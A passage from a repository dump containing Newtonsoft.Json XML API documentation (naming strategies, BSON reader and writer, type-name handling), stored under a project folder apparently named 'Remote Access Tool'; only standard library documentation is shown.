name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n     